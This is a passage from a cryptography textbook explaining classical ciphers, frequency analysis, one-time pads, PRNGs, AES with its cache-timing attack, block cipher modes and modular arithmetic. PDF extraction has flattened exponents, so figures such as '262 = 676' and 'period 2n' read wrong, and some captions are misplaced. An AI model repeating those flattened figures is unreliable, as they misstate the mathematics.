One thing that makes these attacks feasible is that it is usually easy to
recognize that a message is a valid plaintext. For example, given a certain
ciphertext, a cryptanalyst could decrypt it with a given key and get mes-
sage NGGNPXNGQNJABAVEIVARORNPU, which she can immediately
dismiss. But if she gets message ATTACKATDAWNONIRVINEBEACH, then
she can be confident she has found the decryption key. This ability is related
to the unicity distance for a cryptosystem, which is the minimum number
of characters of ciphertext that are needed so that there is a single intelligible
plaintext associated with it. Because of the built-in redundancy that is a part
of every natural language (which helps us understand it when it is spoken),
the unicity distance, in characters, for most cryptosystems is typically much
less than their key lengths, in bits.

Cryptography

attack. (c) Chosen-plaintext attack. (d) Chosen-ciphertext attack.  (“Eve”) 
© Zara’s Gallery/Shutterstock; (“Ciphertext”) © Lukiyanova Natilia/Shutterstock;
(key) © Igor Nazarenko/Shutterstock
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1.2 Substitution Ciphers

In the ancient cryptosystem, the Caesar cipher, each Latin letter of a plain-
text was substituted by the letter that was three positions away in a cyclic

×
An entertaining example of a substitution cipher is shown in the 1983

movie A Christmas Story. In this movie, the young character, Ralphie, uses
a circular decoder pin representing a substitution cipher to decode a secret
message broadcast over the radio. He is a bit disappointed, however, when
he discovers that the message is

“BE SURE TO DRINK YOUR OVALTINE,”

which was little more than a commercial.
Simple substitution ciphers like the one Ralphie used, which are based

on substituting letters of the alphabet, are easily broken. The main weak-
ness in such ciphers is that they don’t hide the underlying frequencies of the
different characters of a plaintext. For example, in English text, the letter
“E” occurs just over 12% of the time, and the next frequent letter is “T.”
which occurs less than 10% of the time. So the most frequently occurring
character in a ciphertext created from English text with a substitution cipher
probably corresponds to the letter “E.” In Table 1, we give the frequencies
of letters that occur in a well-known book, which illustrates the potential
weakness of a letter-based substitution cipher to a frequency analysis. A
similar table could have easily been constructed for any text or corpus
written in any alphabet-based language.

a: 8.05% b: 1.67% c: 2.23% d: 5.10%
e: 12.22% f: 2.14% g: 2.30% h: 6.62%
i: 6.28% j: 0.19% k: 0.95% l: 4.08%
m: 2.33% n: 6.95% o: 7.63% p: 1.66%
q: 0.06% r: 5.29% s: 6.02% t: 9.67%
u: 2.92% v: 0.82% w: 2.60% x: 0.11%
y: 2.04% z: 0.06%

Table 1: Letter frequencies in the book The Adventures of Tom Sawyer, by
Mark Twain.

listing of the alphabet, that is, modulo the alphabet size. We can generalize
this cipher so that each letter can have an arbitrary substitution, so long as
all the substitutions are unique. This approach greatly increases the key
space; hence, increasing the security of the cryptosystem. For example, with
English plaintexts, there are 26! possible substitution ciphers, that is, there
are more than 4.03     1026 such ciphers.
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Polygraphic Substitution Ciphers and Substitution Boxes

In a polygraphic substitution cipher, groups of letters are encrypted to-
gether. For example, a plaintext could be partitioned into strings of two
letters each, that is, divided into digrams, and each digram substituted with
a different and unique other digram to create the ciphertext. Since there are
262 = 676 possible English digrams, there are 676! possible keys for such
an English digram substitution. The problem with such keys, however, is
that they are long—specifying an arbitrary digram substitution key requires
that we write down the substitutions for all 676 digrams. Of course, if an
alphabet size is smaller than 26, we can write down a digram substitution
cipher more compactly. For example, the Hawaiian language uses just 12
letters if we ignore accent marks. Still, even in this case, it would be useful
to have a compact way to express digram substitutions.

One way to express a digram substitution that is easy to visualize is to
use a two-dimensional table. In such a table, the first letter in a pair would
specify a row, the second letter in a pair would specify a column, and each
entry would be the unique two-letter substitution to use for this pair. Such
a specification is called a substitution box or S-box.

This visualization approach, of using an S-box to encode a substitution
cipher, can be extended to binary words. For example, we could take a b-bit
word, x, divide it into two words, y and z, consisting of the first c bits and
last d bits, respectively, of x, such that b = c + d. Then we could specify
the substitution to use for such a word, x, by using an S-box of dimensions
2c × 2d. We show an example 4× 4 S-box for a 4-bit substitution cipher in
Figure 3. Note that as long as the substitutions specified in an S-box, S,
are unique, then there is an inverse S-box, S−1, that can be used to reverse
the substitutions specified by S .

In addition to single-letter frequencies, the frequencies of all digram
combinations are easy to compute for any alphabet-based written language,
given a large enough corpus. Thus, a cryptosystem based only on simple
single-character or digram substitution is insecure.

00 01 10 11
00 0011 0100 1111 0001
01 1010 0110 0101 1011
10 1110 1101 0100 0010
11 0111 0000 1001 1100

0 1 2 3
0 3 8 15 1
1 10 6 5 11
2 14 13 4 2
3 7 0 9 12

(a) (b)

Figure 3: A 4-bit S-box (a) An S-box in binary. (b) The same S-box in
decimal. This particular S-box is used in the Serpent cryptosystem, which
was a finalist to become AES, but was not chosen.
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1.3 One-Time Pads

Substitution can be applied to entire blocks of letters at a time, not just pairs.
For example, the Vigenère cipher, first published in 1586, is an example of
a polygraphic substitution cipher that applies to blocks of length m, since
it amounts to repeatedly using m shift ciphers in parallel. A key in this
cryptosystem is a sequence of m shift amounts, (k1, k2, . . . , km), modulo the
alphabet size (26 for English). Given a block of m characters of plaintext,
we encrypt the block by cyclically shifting the first character by k1, the
second by k2, the third by k3, and so on. Thus, there are potentially m
different substitutions for any given letter in the plaintext (depending on
where in the plaintext the letter appears), making this a type of polygraphic
substitution cipher. Decryption is done by performing the reverse shifts
on each block of m characters in the ciphertext. Unfortunately, as with
all substitution ciphers, the Vigenére cipher can be easily broken using
statistical techniques, as long as the ciphertext is long enough relative to
the value of m.

There is one type of substitution cipher that is absolutely unbreakable,
however, which is known as the one-time pad. In the one-time pad, which
was invented in 1917 by Joseph Mauborgne and Gilbert Vernam, we apply
the same approach as with the Vigenère cipher, in that we use a block of
keys, (k1, k2, . . . , km), to encrypt a plaintext, M, of length n, but with two
critical differences.

1. The length, m, of the block of keys has to be the same as n, the length
of the plaintext.

2. Each shift amount, ki, must be chosen completely at random.

With these two additional rules, there is no statistical analysis that can
be applied to a ciphertext. Indeed, since each shift amount is chosen
completely at random, each letter of the alphabet is equally likely to appear
at any place in the ciphertext. Thus, from the eavesdropper’s perspective,
every letter of the alphabet is equally likely to have produced any given
letter in the ciphertext. That is, this cryptosystem is absolutely unbreakable.

Because of its security, it is widely reported that the hotline connecting
Moscow and Washington, D.C., during the Cold War was encrypted using a
one-time pad. So long as no one reveals the pads—the sequence of random
shifts that were used in one-time pad encryptions—the messages that were
sent will be secret forever. But when pads are reused, then the security of
the messages is quickly reduced, since it allows for statistical methods to be
used to discover parts of the plaintext.
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But this requirement of one-time use is hard to achieve, since the pad
length has to be as long as the message. If Alice and Bob are encrypting
a long conversation using a one-time pad, what happens when one of
them runs out of pad? Interestingly, such a situation happened during the
Cold War. It is now known that the Soviet Union communicated with its
spies using one-time pads, but that these pads were sometimes reused by
desperate spies who had used up all the pages of pad in their code books.
Anticipating that such reuse would occur, the U.S. government initiated an
effort, called the Venona Project, to perform analyses of intercepted traffic
between the Soviet Union and its spies. The Venona Project was highly
successful, in fact, because a significant amount of pad reuse actually did
occur in the field, since the one-time pad is impractical.

Binary One-Time Pads

In spite of its impracticality, some principles of the one-time pad are used in
other, more-practical cryptosystems. In particular, there is a binary version
of the one-time pad that has an elegant interpretation using the binary
exclusive-or (XOR) operation. This operation is used in most modern
cryptosystems similarly to how it is used in a binary version of the one-time
pad cryptosystem. Recall that the exclusive-or (XOR) operator applied to
two bits, a and b, yields 1 if a and b are different, and 0 if a and b are the
same. In the binary one-time pad, we view the plaintext message, M, as
being a binary string of length n. Likewise, we view the pad, P, to be a
completely random binary string of length n. We can then specify how to
produce the ciphertext, C, using the formula

C = M⊕ P,

where we make the common notational use of ⊕ here to denote the XOR
operator applied bitwise to two equal-length binary strings. Like its letter-
based counterpart, the binary one-time pad is absolutely unbreakable, be-
cause each bit of the ciphertext is equally likely to be a 0 or 1, independent of
the plaintext and the other bits of the ciphertext. In addition, given the pad
P it is easy to recover the plaintext from the ciphertext, using the formula

M = C⊕ P.

Indeed, since XOR is associative, we have

C⊕ P = (M⊕ P)⊕ P = M⊕ (P⊕ P) = M⊕~0 = M.

where ~0 denotes a vector of all zero bits. Thus, in a binary one-time pad
cryptosystem, the pad P is used directly for both encryption and decryp-
tion.
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1.4 Pseudo-Random Number Generators

Randomness is a precious resource, as the historical experience with the
one-time pad shows. Ignoring the philosophical argument about whether
“true” randomness really exists, and sticking to the practical problem of
how to gather unpredictable bits, getting a computer or other digital device
to generate random numbers is relatively expensive. Current techniques
involve sampling subatomic processes whose unpredictability is derived
from quantum mechanics or sampling environmental phenomena, such as
user input variations, wind noise, or background radiation coming from
outer space. None of these techniques are cheap or fast, from a computer’s
perspective. Moreover, even with these sources of unpredictability, it is
not easy to turn any of these sources into uniformly distributed, unbiased
sequences of numbers or bits, such as is needed for the one-time pad.

Randomness is useful, however, for such things as secret keys. So it
is helpful if we can expand any sources of randomness we have, to get
more useful bits from these sources. We can perform such an expansion of
randomness by using a pseudo-random number generator (PRNG), which
is a method for generating a sequence of numbers that approximates the
properties of a random sequence.

The Linear Congruential Generator

A desirable propery of a random sequence is that the numbers it generates
are uniformly distributed. One way to achieve this property is to use a
method employed, for instance, by the java.util.Random class in Java,
which is a linear congruential generator. In this PRNG, we start with a
random number, x0, which is called the seed, and we generate the next
number, xi+1, in a sequence, from the previous number, xi, according to
the following formula:

xi+1 = (axi + b) mod n.

Here, we assume that a > 0 and b ≥ 0 are chosen at random from the
range [0, n − 1], which is also the range of generated numbers. If a and
n are relatively prime, then one can prove that the generated sequence is
uniformly distributed. For instance, if n itself is prime, then this PRNG
will be uniform, which approximates an important property of a random
sequence. For cryptographic purposes, the linear congruential generator
produces a sequence of numbers that is insufficient as a random sequence
however.
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Security Properties for PRNG’s

In cryptographic applications, we desire pseudo-random number genera-
tors with additional properties that the linear congruential generator does
not have. For instance, it should be hard to predict xi+1 from previous
numbers in the sequence. With the linear congruential generator, it is easy
to determine the values of a and b as soon as we have seen three consecutive
numbers, and, from that point on, an adversary can predict every number
that follows.

Another desired property for a pseudo-random sequence concerns its
period. Since a pseudo-random sequence is generated deterministically
from a random seed, there will be a point where the sequence starts re-
peating itself. The number of values that are output by the sequence before
it repeats is known as its period. For instance, if a is relatively prime to n,
then the period of a linear congruential generator is n.

A More Secure PRNG

There are several PRNGs that are believed to be cryptographically secure.
For example, a PRNG more secure than the linear congruential generator is
one that takes a secure encryption algorithm, like the Advanced Encryption
Standard (AES) algorithm (which operates on fixed-length plaintext blocks)
and uses it to encrypt, using a common random key, each number in a
deterministic sequence of numbers that starts from a random seed. This
sequence could even be a consecutive set of integers, as long as it starts from
a random seed. Breaking the predictability of such a sequence amounts
to a type of ciphertext-only attack, where the adversary knows that the
associated plaintexts are taken from a known sequence. The period of this
PRNG is equal to 2n, where n is the the block size. Thus, such a PRNG is
much more secure than the linear congruential generator.

Given a secure PRNG, we can use it for encryption and decryption, by
making its seed be a secret key, K, and performing an exclusive-or of the
sequence of pseudo-random numbers with the plaintext message, M, to
produce a ciphertext, as with the one-time pad. Even so, just as with the
one-time pad, we should only perform such an encryption only once for
any given key, K, and the length of the plaintext should be much smaller
than the period for the PRNG. Otherwise, the security of our scheme would
be similar to the weak security that comes from reusing a one-time pad.
For this reason, such an encryption scheme is best restricted for use as a
stream cipher, where we encrypt a single stream of bits or blocks. Stream
ciphers where previously discussed in the context of encryption methods
for wireless networks.
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1.5 The Hill Cipher and Transposition Ciphers

Another classic cryptosystem is the Hill cipher, which was invented in 1929
by Lester S. Hill. The Hill cipher takes an approach based on the use of
linear algebra. In the description below, we assume the reader is familiar
with the basics of matrix multiplication and inverses.

The Hill cipher takes a block of m letters, each interpreted as a number
from 0 to 25, and interprets this block as a vector of length m. Thus, if m = 3
and a block is the string “CAT,” then we would represent this block as the
vector

~x =

 2
0
19

 .

The Hill cipher uses an m×m random matrix, K, as the key, provided that
K is invertible when we perform all arithmetic modulo 26. The ciphertext
vector,~c, for ~x, is determined by the matrix equation

~c = K ·~x,

where we use standard matrix multiplication for the operator (·), assuming
all arithmetic is modulo 26. Given the inverse, K−1, for K, we can recover
the plaintext vector, ~x, from~c, using the formula

~x = K−1 ·~c,

since
K−1 ·~c = K−1 · (K ·~x) = (K−1 · K) ·~x =~1 ·~x = ~x.

This approach allows us to specify an encryption of an entire message, M,
mathematically, by interpreting M as a matrix of dimension m× N, where
N = n/m, and defining the ciphertext, C, as an m× N matrix defined as

C = K ·M.

Then we can recover the entire message, M, from C as follows:

M = K−1 · C,

where, in both the encryption and decryption, we assume that all arithmetic
is done modulo 26.

Although this notation is quite elegant, the Hill cipher is still relatively
easy to break given enough plaintext-ciphertext pairs. Nevertheless, its
use of interpreting letters as numbers and using linear algebra to perform
encryption and decryption is another idea from classic cryptography that
finds its way into the AES cryptosystem.
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Transposition Ciphers

In a transposition cipher, the letters in a block of length m in a plaintext
are shuffled around according to a specific permutation of length m. Since
every permutation, π, also has an inverse permutation, π−1, which undoes
all the shuffling that is done by π, it is easy to do encryption and decryption
of messages in this cryptosystem if we know π. In particular, the encryption
of a plaintext M of length m can be done by the formula

C = π(M),

and decryption can be done by the formula

M = π−1(C).

This formula works independent of whether we are viewing the characters
in M as letters or as bits.

Transposition Ciphers as Hill Ciphers

Interestingly, such a transposition cipher is actually a special case of a Hill
cipher, because any permutation can be performed using matrix multipli-
cation. For example, if the matrix

0 1 0 0 0
0 0 1 0 0
1 0 0 0 0
0 0 0 0 1
0 0 0 1 0


were used in a Hill cipher, then it would be equivalent to the following
permutation:

π : (1, 2, 3, 4, 5)→ (3, 1, 2, 5, 4).

Note that when we apply a transpositional cipher to the letters in a
plaintext M, we do nothing to hide the statistical distribution of the letters
in M. Such lack of hiding can leak information. Moreover, since a trans-
position cipher is a type of Hill cipher, it is subject to the same weakness
as the Hill cipher. In particular, with enough plaintext-ciphertext pairs, we
can solve a straightforward linear system to determine all the values in the
matrix used for encryption. And once we know the encryption matrix, the
entire encryption scheme is broken. Nevertheless, if we use permutations
and other matrix operations in a nonlinear encryption scheme like the one
we discuss next, then the overall cryptosystem will not have this weakness.

Cryptography

398



1.6 The Advanced Encryption Standard (AES)

In 1997, the U.S. National Institute for Standards and Technology (NIST)
put out a public call for a replacement of the symmetric encryption algo-
rithm DES. It narrowed down the list of submissions to five finalists, and
ultimately chose an algorithm that was then known only as Rijndael (which
is pronounced something like “Rhine doll”), designed by cryptographers
Joan Daemen and Vincent Rijmen, as the one to become the new standard,
the Advanced Encryption Standard (AES).

AES is a block cipher that operates on 128-bit blocks. It is designed to be
used with keys that are 128, 192, or 256 bits long, yielding ciphers known as
AES-128, AES-192, and AES-256. A schematic input-output diagram of AES
is shown in Figure 4. As of early 2010, AES-256 is widely regarded as the
best choice for a general-purpose symmetric cryptosystem. It is supported
by all mainstream operating systems, including Windows, Mac OS, and
Linux.

Input

128 bits

Output

128 bits
AES

Key

128, 192 or 256 bits

Figure 4: Schematic input-output diagram of the AES symmetric block
cipher. The block size is always 128 bits. The key length can be 128, 192, or
256 bits.

AES Rounds

The 128-bit version of the AES encryption algorithm proceeds in ten
rounds. Each round performs an invertible transformation on a 128-bit
array, called state. The initial state X0 is the XOR of the plaintext P with
the key K:

X0 = P⊕ K.
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Round i (i = 1, · · · , 10) receives state Xi−1 as input and produces state Xi.
The ciphertext C is the output of the final round: C = X10. A schematic
illustration of the structure of the AES rounds is shown in Figure 5.

X1

Round 1

Round 2

Round 3

Round 4

Round 5

Round 6

Round 7

Round 8

Round 9

Round 10

X2

X3

X4

X5

X6

X7

X8

X9

X10

X0

C

P

K



Figure 5: The AES rounds.

Each round is built from four basic steps:
1. SubBytes step: an S-box substitution step

2. ShiftRows step: a permutation step

3. MixColumns step: a matrix multiplication (Hill cipher) step

4. AddRoundKey step: an XOR step with a round key derived from the
128-bit encryption key

These steps are described in detail in Section 5.
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Implementation of AES

Typical software implementations of AES are optimized for speed of exe-
cution and use several lookup tables to implement the basic steps of each
round. A lookup table stores all the possible values of a function into an
array that is indexed by the input of the function. It can be shown that
the 128-bit version of the AES algorithm can be implemented using exactly
eight lookup tables, each mapping an input byte (an 8-bit word) to an
output int (a 32-bit word). Thus, each of the eight lookup tables stores
256, 32-bit ints. The lookup tables are precomputed and accessed during
encryption and decryption.

Using the lookup tables, a round of AES encryption or decryption is
implemented by a combination of only three types of operations:

• XOR of two ints: y = x1 ⊕ x2, where x1, x2, and y are ints

• Split of an int into 4 bytes: (y1, y2, y3, y4) = x, where y1, y2, y3, and y4
are bytes and x is an int

• Table lookup of an int indexed by a byte: y = T[x], where y is an int
and x is a byte

Attacks on AES

As of early 2010, AES is considered a highly secure symmetric cryptosys-
tem. Indeed, the only known practical attacks on AES are side channel
attacks.

Variations of a timing attack on high-performance software implemen-
tations of AES were independently discovered in 2005 by Bernstein and
by Osvik, Shamir, and Tromer. Recall that to speed up the running time
of AES, the algorithm is implemented using lookup tables. The timing
attack is based on the fact that the cache of the processor where the AES
algorithm is executed will store portions of the lookup tables used in the
implementation of AES. Accessing table entries stored in the cache is much
faster that accessing entries in main memory. Thus, the time it takes to
execute the algorithm provides information about how the lookup tables
are accessed and therefore, the inner workings of the algorithm as well. By
timing multiple executions of the algorithm using the same key on a series
of known plaintexts of known ciphertexts, the attacker can eventually learn
the key.

If the attacker is on the same system where AES is executed, the key can
be recovered in less than a second. If the attacker and the AES computation
are on different machines, recovering the key takes several hours. To
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defend against timing attacks, AES should be implemented in a way that
the execution time remains constant, irrespective of the cache architecture.

Other side channel attacks on AES target hardware implementations,
such as those on a field-programmable gate array (FPGA). For example,
fault attacks induce hardware error conditions during the execution of the
algorithm and compare the resulting corrupted ciphertext with the correct
ciphertext from a regular execution of the algorithm.

1.7 Modes of Operation

There are several ways to use a block cipher, such as AES, that operate on
fixed-length blocks. The different ways such an encryption algorithm can
be used are known as its modes of operation. In this section, we discuss
several of the most commonly used modes of operation for block ciphers.
The general scenario is that we have a sequence of blocks, B1, B2, B3, and so
on, to encrypt, all with the same key, K, using a block cipher algorithm, like
AES.

Electronic Codebook (ECB) Mode

The simplest of encryption modes for a block cipher encrypts each block, Bi,
independently. That is, this mode, which is known as electronic codebook
mode (ECB) mode, involves encrypting the block, Bi, according to the
following formula:

Ci = EK(Bi),

were EK denotes the block encryption algorithm using key K. Likewise,
decryption is by the following formula:

Bi = DK(Ci),

where DK denotes the block decryption algorithm using key K.
This mode has the advantage of simplicity, of course. In addition, it can

tolerate the loss of a block, such as might occur if the blocks are being sent
as packets over a network. This resilience to block loss comes from the fact
that decrypting the ciphertext for a block, Bi, does not depend in any way
on the block, Bi−1.

The disadvantage of using this mode, however, is that, if our encryption
algorithm is completely deterministic, like AES, so that each plaintext has a
unique associated ciphertext, then the ECB mode may reveal patterns that
might appear in the stream of blocks. In this case, identical blocks will
have identical encryptions in ECB mode. For example, in a large image file,
blocks of the image that are the same color, and are therefore identical, will
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be encrypted in the same way. This disadvantage of ECB mode allows an
encryption of a sequence of blocks sometimes to reveal a surprising amount
of information, as illustrated in Figure 6.

(a) (b)

Figure 6: How ECB mode can leave identifiable patterns in a sequence
of blocks: (a) An image of Tux the penguin, the Linux mascot. (b) An
encryption of the Tux image using ECB mode. (The image in (a) is by
Larry Ewing, lewing@isc.tamu.edu, using The Gimp; the image in (b) is

Cipher-Block Chaining (CBC) Mode

An encryption mode that avoids the revelation of patterns in a sequence
of blocks is the cipher-block chaining mode (CBC). In this mode of oper-
ation, the first plaintext block, B1, is exclusive-ored with an initialization
vector, C0, prior to being encrypted, and each subsequent plaintext block is
exclusive-ored with the previous ciphertext block prior to being encrypted.
That is, setting C0 to the initialization vector, then

Ci = EK(Bi ⊕ Ci−1).

Decryption is handled in reverse,

Bi = DK(Ci)⊕ Ci−1,

where we use the same initialization vector, C0, since exclusive-or is a self-
inverting function.

This mode of operation has the advantage that if identical blocks appear
at different places in the input sequence, then they are very likely to have

Cryptography

by Dr. Juzam. Both are used with permission via attribution.)  (a) Created by
Larry Ewing (lewing@isc.tamu.edu) using The Gimp. Used with permission via
attribution. (b) Created by Dr. Juzam. Used with permission via attribution.
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different encryptions in the output sequence. So it is difficult to determine
patterns in an encryption that is done using CBC mode, which corrects a
disadvantage of ECB mode.

CBC mode does not allow the encryption of the blocks in a sequence to
be done independently. That is, the sequence of blocks must be encrypted
sequentially, with the encryption of block i − 1 completing before the en-
cryption of block i can begin.

Decryption, on the other hand, can proceed in parallel if all the cipher-
text blocks are available. This asymmetry is due to the fact that both the
encryption and decryption of block i uses the ciphertext block i − 1. This
block is available during encryption only through a sequential process. But
all the encryptions are available for decryption; hence, the decryption can
be done in parallel.

In addition, this property implies that the decryption process can tol-
erate the loss of a ciphertext block. For if block Ci is lost, it implies that
decryption of blocks i and i + 1 are lost. But decryption of block i + 2 can
still be done, since it relies only on Ci+1 and Ci+2.

Cipher Feedback (CFB) Mode

The cipher feedback mode (CFB) for block encryption algorithms is similar
to that of the CBC mode. Like the CBC, the encryption for block Bi involves
the encryption, Ci−1, of the previous block. The encryption begins with an
initialization vector, C0. It computes the encryption of the ith block as

Ci = EK(Ci−1)⊕ Bi.

That is, the ith block is encrypted by first encrypting the previous ciphertext
block and then exclusive-oring that with the ith plaintext block. Decryption
is done similarly, as follows:

Bi = EK(Ci−1)⊕ Ci.

That is, decryption of the ith ciphertext block also involves the encryption
of the (i − 1)st ciphertext block. The decryption algorithm for the block
cipher is actually never used in this mode. Depending on the details of
the block cipher, this property could allow decryption to proceed faster by
using the CFB mode than by using the CBC mode.
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Output Feedback (OFB) Mode

In the output feedback mode (OFB), a sequence of blocks is encrypted much
as in the one-time pad, but with a sequence of blocks that are generated
with the block cipher. The encryption algorithm begins with an initializa-
tion vector, V0. It then generates a sequence of vectors,

Vi = EK(Vi−1).

Given this sequence of pad vectors, we perform block encryptions as fol-
lows:

Ci = Vi ⊕ Bi.

Likewise, we perform block decryptions as follows:

Bi = Vi ⊕ Ci.

Thus, this mode of operation can tolerate block losses, and it can be
performed in parallel, both for encryption and decryption, provided the
sequence of pad vectors has already been computed.

Counter (CTR) Mode

In counter mode (CTR), every step of encryption and decryption can be
done in parallel. This mode is similar to the OFB in that we perform
encryption through an exclusive-or with a generated pad. In fact, the
method is essentially that mentioned in Section 1.4. We start with a
random seed, s, and compute the ith offset vector according to the formula

Vi = EK(s + i− 1),

so the first pad is an encryption of the seed, the second is an encryption of
s + 1, the third is an encryption of s + 2, and so on. Encryption is performed
as in the OFB mode, but with these generated vectors,

Ci = Vi ⊕ Bi.

Likewise, we perform block decryptions as follows:

Bi = Vi ⊕ Ci.

In this case, the generation of the pad vectors, as well as encryptions and
decryptions, can all be done in parallel. This mode is also able to recover
from dropped blocks.
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2 Public-Key Cryptography

As we saw to some degree with the AES cryptosystem, a trend in modern
cryptography is to view blocks of bits as large numbers represented in
binary. Doing this requires that we have a set of tools available for operating
on large numbers, many of which we discuss in the next section.

2.1 Modular Arithmetic

When we operate on blocks of bits as large numbers, we need to make sure
that all our operations result in output values that can be represented using
the same number of bits as the input values. The standard way of achieving
this is to perform all arithmetic modulo the same number, n. That is, after
each operation, be it an addition, multiplication, or other operation, we
return the remainder of a division of the result with n. Technically, this
means that we are performing arithmetic in Zn, which is the set of integers

Zn = {0, 1, 2, · · · , n− 1}.

So algorithms for performing addition, subtraction, and multiplication
are basically the same as with standard integers, with this added step of
reducing the result to a value in Zn.

Modulo Operator

Operation x mod n, referred to as x modulo n, takes an arbitrary integer x
and a positive integer n as operands. The result of this operation is a value
in Zn defined using the following rules:
• If 0 ≤ x ≤ n − 1, that is, x ∈ Zn, then x mod n = x. For example,

3 mod 13 = 3 and 0 mod 13 = 0.

• If x ≥ n, then x mod n is the remainder of the division of x by n. For
example, 29 mod 13 = 3 since 29 = 13 · 2 + 3. Also, 13 mod 13 = 0
and 26 mod 13 = 0 since for any multiple of 13, the remainder of its
division by 13 is zero. Note that this rule generalizes the previous
rule.

• Finally, if x < 0, we add a sufficiently large multiple of n to x,
denoted by kn, to get a nonnegative number y = x + kn. We have that
x mod n = y mod n. Since y is nonnegative, the operation y mod n
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can be computed using the previous rules. For example, to compute
−27 mod 13, we can add 3 · 13 = 39 to −27 to obtain

y = −27 + 3 · 13 = −27 + 39 = 12.

Thus, we have

−27 mod 13 = 12 mod 13 = 12.

In order to find a multiple kn of n greater than x, we can set k as 1 plus
the integer division (division without remainder) of −x by n, that is,

k = 1 +
⌊ x

n

⌋
.

For example, for x = −27 and n = 13, we have

k = 1 + b27/13c = 1 + 2 = 3.

In general, we have that x mod n and −x mod n are different.
Several examples of operations modulo 13 are shown below:
29 mod 13 = 3; 13 mod 13 = 0; 0 mod 13 = 0; −1 mod 13 = 12.

We can visualize the modulo operator by repeating the sequence of num-
bers 0, 1, 2, · · · (n− 1), as shown in Figure 7.

x ... -6 -5 -4 -3 -2 -1 0 1 2 3 4 5 6 7 8 9 10 11 ...
x  mod 5 ... 4 0 1 2 3 4 0 1 2 3 4 0 1 2 3 4 0 1 ...

Figure 7: Operation x mod 5.

Modular Inverses

The notion of division in Zn is not so easy to grasp, however. We can limit
ourselves to consider the inverse x−1 of a number x in Zn since we can
write a/b as ab−1. We say that y is the modular inverse of x, modulo n, if
the following holds:

xy mod n = 1.

For example, 4 is the inverse of 3 in Z11 since

4 · 3 mod 11 = 12 mod 11 = 1.

We have that elements 1 and n− 1 of Zn always admit an inverse modulo n.
Namely, the inverse of 1 is 1 and the inverse of n− 1 is n− 1. However, not
every other number in Zn admits a modular inverse, as can be seen from the
multiplication table of Figure 8.a, which shows the products xy mod 10
for x, y ∈ Zn. However, if n is a prime number, then every element but zero
in Zn admits a modular inverse, as shown in Figure 8.b.
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0 1 2 3 4 5 6 7 8 9

0 0 0 0 0 0 0 0 0 0 0

1 0 1 2 3 4 5 6 7 8 9

2 0 2 4 6 8 0 2 4 6 8

3 0 3 6 9 2 5 8 1 4 7

4 0 4 8 2 6 0 4 8 2 6

5 0 5 0 5 0 5 0 5 0 5

6 0 6 2 8 4 0 6 2 8 4

7 0 7 4 1 8 5 2 9 6 3

8 0 8 6 4 2 0 8 6 4 2

9 0 9 8 7 6 5 4 3 2 1

0 1 2 3 4 5 6 7 8 9 10

0 0 0 0 0 0 0 0 0 0 0 0

1 0 1 2 3 4 5 6 7 8 9 10

2 0 2 4 6 8 10 1 3 5 7 9

3 0 3 6 9 1 4 7 10 2 5 8

4 0 4 8 1 5 9 2 6 10 3 7

5 0 5 10 4 9 3 8 2 7 1 6

6 0 6 1 7 2 8 3 9 4 10 5

7 0 7 3 10 6 2 9 5 1 8 4

8 0 8 5 2 10 7 4 1 9 6 3

9 0 9 7 5 3 1 10 8 6 4 2

10 0 10 9 8 7 6 5 4 3 2 1

(a) (b)

Figure 8: Modular multiplication tables in Zn for n = 10 and n = 11,
with highlighted elements that have a modular inverse: (a) xy mod 10. (b)
xy mod 11.

Modular Exponentiation

Finally, we consider modular exponentiation, that is, operation

xy mod n.

Figure 9 shows successive modular powers

x1 mod n, x2 mod n, · · · , xn−1 mod n

and illustrates the following patterns:
• If n is not prime, as for n = 10 shown in Figure 9.a, there are

modular powers equal to 1 only for the elements of Zn that are
relatively prime with n. These are exactly the elements x such that
the greatest common divisor (GCD) of x and n is equal to 1, as is the
case for 1, 3, 7, and 9 for n = 10.

• If n is prime, as for n = 13 shown in Figure 9.b, every nonzero
element of Zn has a power equal to 1. In particular, we always have

xn−1 mod n = 1.

We can generalize the patterns above by considering the subset Z∗n of Zn
consisting of the elements relatively prime with n, that is, the set

Z∗n = {x ∈ Zn such that GCD(x, n) = 1}.
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1 2 3 4 5 6 7 8 9
1y 1 1 1 1 1 1 1 1 1
2y 2 4 8 6 2 4 8 6 2
3y 3 9 7 1 3 9 7 1 3
4y 4 6 4 6 4 6 4 6 4
5y 5 5 5 5 5 5 5 5 5
6y 6 6 6 6 6 6 6 6 6
7y 7 9 3 1 7 9 3 1 7
8y 8 4 2 6 8 4 2 6 8
9y 9 1 9 1 9 1 9 1 9

y

1 2 3 4 5 6 7 8 9 10 11 12
1y 1 1 1 1 1 1 1 1 1 1 1 1
2y 2 4 8 3 6 12 11 9 5 10 7 1
3y 3 9 1 3 9 1 3 9 1 3 9 1
4y 4 3 12 9 10 1 4 3 12 9 10 1
5y 5 12 8 1 5 12 8 1 5 12 8 1
6y 6 10 8 9 2 12 7 3 5 4 11 1
7y 7 10 5 9 11 12 6 3 8 4 2 1
8y 8 12 5 1 8 12 5 1 8 12 5 1
9y 9 3 1 9 3 1 9 3 1 9 3 1

10y 10 9 12 3 4 1 10 9 12 3 4 1
11y 11 4 5 3 7 12 2 9 8 10 6 1
12y 12 1 12 1 12 1 12 1 12 1 12 1

y

(a) (b)

Figure 9: Modular exponentiation tables in Zn for n = 10 and n = 13, with
highlighted powers equal to 1 and elements of Zn that have some power
equal to 1: (a) xy mod 10. (b) xy mod 13.

For example, for n = 10, we have

Z∗10 = {1, 3, 7, 9}.

Also, if n is prime, we always have

Z∗n = {1, 2, · · · , (n− 1)}.

Let φ(n) be the number of elements of Z∗n, that is,

φ(n) = |Z∗n| .

Function φ(n) is called the totient of n. The following property, known as
Euler’s Theorem, holds for each element x of Z∗n:

xφ(n) mod n = 1.

A consequence of Euler’s theorem is that we can reduce the exponent
modulo φ(n):

xy mod n = xy mod φ(n) mod n.

Note given two elements x and y of Z∗n, their modular product xy mod n
is also in Z∗n. Also, for each element x of Z∗n, the modular inverse of x
is xφ(n)−1. Indeed, we have

x · xφ(n)−1 mod n = xφ(n) mod n = 1.

More details on modular arithmetic are given in Section 5.2.
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2.2 The RSA Cryptosystem

Recall that in a public-key cryptosystem, encryption is done with a pub-
lic key, KP, associated with the intended recipient, Bob, of the plaintext
message, M. The sender, Alice, doesn’t have to have a prior relationship
with Bob and she doesn’t have to have figured out a way to share a secret
key with Bob, as she would if she wanted to use a symmetric encryption
scheme, like AES, to secretly communicate with Bob. Once the message
M has been transformed into a ciphertext, C = EKP(M), Alice sends C to
Bob. Bob is then able to decrypt the ciphertext C using his secret key, KS, by
using the appropriate decryption method, DKS(C).

In this section, we describe a specific public-key cryptosystem, which
